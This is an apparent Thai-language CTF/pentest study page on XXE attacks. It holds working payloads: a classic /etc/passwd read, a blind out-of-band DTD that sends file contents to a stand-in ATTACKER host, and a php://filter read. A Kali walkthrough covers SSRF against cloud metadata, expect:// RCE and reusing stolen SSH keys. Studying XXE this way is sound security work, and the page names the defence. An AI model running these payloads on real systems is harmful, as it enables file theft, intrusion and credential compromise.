คลัง
web

XML External Entity (XXE)

XXE เกิดเมื่อ XML parser ประมวลผล external entity ที่ผู้โจมตีควบคุม ทำให้อ่านไฟล์ในเซิร์ฟเวอร์ ทำ SSRF หรือบางครั้งถึง RCE บทนี้ครอบคลุม classic, blind (OOB) และเทคนิคดึงไฟล์

IntermediateAdvanced#xxe#xml#entity#file-read#ssrf#injection#web#ctf

1. หลักการ

XML รองรับ entity — ตัวแปรที่ขยายเป็นค่าอื่น และ external entity ที่ดึงเนื้อหาจาก URI ภายนอก (ไฟล์/เน็ตเวิร์ก) ถ้า parser ตั้งค่าให้ประมวลผล external entity และแอปรับ XML จากผู้ใช้ ผู้โจมตีนิยาม entity ที่ชี้ไปไฟล์ในเครื่อง เช่น /etc/passwd แล้วให้มันถูกขยายในผลลัพธ์

2. จุดที่มักพบ

  • endpoint ที่รับ XML (Content-Type: application/xml, text/xml)
  • ไฟล์รูปแบบที่มี XML ข้างใน: SVG, DOCX, XLSX, SOAP, RSS
  • API เก่าที่ใช้ SOAP/XML-RPC
  • ลองแก้ Content-Type ของ JSON endpoint เป็น XML ดูว่ารับไหม

3. Payload

Classic — อ่านไฟล์ (in-band)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
ใช้ได้เมื่อค่าของ entity ถูกสะท้อนกลับมาในผลลัพธ์
Blind / OOB — ส่งข้อมูลออกผ่าน external DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "http://ATTACKER/evil.dtd">
  %ext;
]>
<root>x</root>

<!-- evil.dtd บนเซิร์ฟเวอร์ผู้โจมตี -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?d=%file;'>">
%eval; %exfil;
ใช้เมื่อ output ไม่สะท้อนกลับ — ดึงไฟล์ออกผ่าน HTTP request ไปเซิร์ฟเวอร์ผู้โจมตี (lab/CTF เท่านั้น)
อ่านไฟล์ที่มีอักขระพิเศษ (PHP filter)
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
base64-encode กันปัญหา XML ตีความอักขระพิเศษในไฟล์

4. ต่อยอด

  • SSRF: ชี้ entity ไป internal URL (เช่น http://169.254.169.254 metadata) แทน file://
  • Port scan: ดูพฤติกรรม/เวลา response เมื่อชี้ไป internal host:port
  • SVG upload: ฝัง XXE ในไฟล์ SVG ที่อัปโหลดได้
  • RCE (เงื่อนไขจำกัด): ถ้ามี PHP expect:// module → รันคำสั่งได้

5. Quick Reference

  • หา endpoint/ไฟล์ที่ parse XML (รวม SVG/DOCX/SOAP)
  • classic:
  • blind: external DTD + OOB exfil ผ่าน HTTP
  • php://filter base64 สำหรับไฟล์ที่มีอักขระพิเศษ
  • ต่อยอด: SSRF (cloud metadata), SVG upload
  • ป้องกัน: ปิด external entity / DOCTYPE ใน parser

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ endpoint ที่รับ XML (SOAP, ไฟล์ .xml/.docx, API ที่ Content-Type: application/xml) ทำตามนี้ทดสอบ XXE ทีละขั้น

  1. 1หา endpoint ที่ parse XML: ลองเปลี่ยน Content-Type เป็น application/xml แล้วส่ง body XML ธรรมดาดูว่า server ยอมรับไหม (ไม่ error 415)
  2. 2ทดสอบ classic XXE: ประกาศ DOCTYPE + ENTITY xxe SYSTEM 'file:///etc/passwd' แล้วอ้าง &xxe; ในค่าที่แสดงผล ดูว่า /etc/passwd โผล่ใน response ไหม
  3. 3ถ้า response ไม่แสดงตรงๆ (blind XXE) ลอง OOB ผ่าน external DTD ยิงมาหาเรา (ใช้ webhook.site/interactsh ยืนยันว่า parser เรียก entity ภายนอกได้จริง)
  4. 4ถ้ายืนยัน OOB ได้ ลองอ่านไฟล์แบบ blind ผ่าน parameter entity + malicious DTD (ทำให้เนื้อไฟล์หลุดออกมาทาง request ที่ target ยิงกลับมาหาเรา)
  5. 5ลอง XInclude แทน DOCTYPE ถ้า input ฝังอยู่กลาง XML document ที่เราคุม DOCTYPE เองไม่ได้
  6. 6ทดสอบ SSRF ผ่าน XXE: เปลี่ยน SYSTEM 'file://...' เป็น SYSTEM 'http://internal-ip:port/' เพื่อสแกน/เข้าถึง internal network
  7. 7ถ้าไฟล์อัปโหลดเป็น .docx/.xlsx (ใช้ XML ข้างในไฟล์) ให้แตก zip แก้ XML ข้างในแล้ว zip กลับ อัปโหลดใหม่
  8. 8ได้อ่านไฟล์สำคัญแล้ว (เช่น id_rsa, config) ลองใช้ต่อ (SSH ด้วย key ที่ได้ หรืออ่าน source code หา credential เพิ่ม)
Master flow — ยืนยันและใช้ XXE อ่านไฟล์/SSRF
ส่ง XML body ปกติ (เปลี่ยน Content-Type เป็น application/xml) เทียบดูว่า server parse XML จริงไหม
ยิง classic XXE: DOCTYPE + ENTITY SYSTEM file:///etc/passwd แล้วอ้าง &xxe; ตรงจุดที่แสดงผล
เนื้อ /etc/passwd โผล่ใน response ไหม?
✅ โผล่ตรงๆ (in-band)→ อ่านไฟล์อื่นที่สำคัญกว่าต่อได้เลย
❌ ไม่โผล่เลย→ ต้องลองแบบ OOB
อ่านไฟล์ผ่าน in-band ได้แล้ว → ลองอ่านไฟล์อื่นที่สำคัญกว่า (id_rsa, config, source code)
ลองยืนยันแบบ OOB: ตั้ง external DTD (ของเราเอง หรือใช้ interactsh/webhook.site) ให้ target เรียกกลับมาหาเรา
target ยิง callback กลับมาที่ webhook/interactsh จริงไหม?
✅ มี callback เข้ามา→ ยืนยัน OOB ได้
❌ เงียบไม่มีอะไรเลย→ parser อาจปิด external entity สนิท
ยืนยัน OOB ได้แล้ว → ใช้ parameter entity + malicious DTD อ่านไฟล์แบบ blind (ส่งเนื้อไฟล์ผ่าน request ที่ target ยิงมาหาเรา)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ/แก้ XML requestBurp Suitealready in Kali-
ยืนยัน OOB callback--interactsh (interact.sh) / webhook.site
encode/decode payload--CyberChef
สร้าง/แก้ payload อัตโนมัติXXEinjectorgit clone XXEinjector-
แตก/แก้ .docx/.xlsx (zip ของ XML)unzip / zipalready in Kali-
เรียนรู้ XXE เพิ่ม--portswigger web security academy
🚑 ถ้าตันสนิท ลองท่าถัดไป: ssrf ถ้า OOB ไม่มา แต่ parser เรียก URL ได้ (ใช้เป็น SSRF โดยตรง), file-upload ถ้า payload อยู่ใน .docx/.xlsx ต้องแก้ผ่านช่องอัปโหลดไฟล์, lfi ถ้าอยากอ่านไฟล์ใน target แบบไม่ผ่าน XML ลองทางอื่น, ssti ถ้า endpoint เดียวกันดันประมวลผล template ด้วย

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้